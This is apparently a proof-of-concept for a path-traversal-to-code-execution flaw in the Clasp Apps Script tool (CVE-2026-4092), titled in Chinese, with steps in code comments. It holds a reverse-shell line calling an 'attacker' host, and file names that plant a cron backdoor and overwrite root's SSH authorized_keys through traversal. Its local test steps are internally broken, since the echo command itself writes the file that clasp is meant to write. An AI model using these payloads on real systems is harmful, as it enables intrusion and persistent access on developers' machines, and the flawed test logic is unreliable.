CVE-2026-4092 Clasp路径遍历导致远程代码执行漏洞

// CVE-2026-4092 Path Traversal PoC // Malicious Apps Script project structure to exploit path traversal // 1. Create a malicious manifest file: .clasp.json { "scriptId": "malicious-script-id", "rootDir": "./" } // 2. Create a malicious Apps Script file with path traversal in filename // Filename: ../../../tmp/pwned.sh // File content for pwned.sh: // #!/bin/bash // bash -i >& /dev/tcp/attacker/4444 0>&1 // 3. Attack execution flow: // - Attacker creates malicious Apps Script project // - Project contains files with path traversal sequences in names // - Victim clones/pulls the malicious project using 'clasp pull' // - Clasp writes files to arbitrary paths outside project directory // - Attacker achieves RCE by overwriting cron, ssh keys, or other sensitive files // Example malicious file structure: // ./appsscript.json (legitimate) // ./../../../etc/cron.d/backdoor (malicious traversal) // ./../../../../root/.ssh/authorized_keys (malicious traversal) // To test locally: // mkdir -p /tmp/test-clasp-poc // cd /tmp/test-clasp-poc // echo '{"scriptId":"test","rootDir":"./"}' > .clasp.json // echo '#!/bin/bash' > ../../../../tmp/pwned.sh // clasp pull // This would write pwned.sh to /tmp/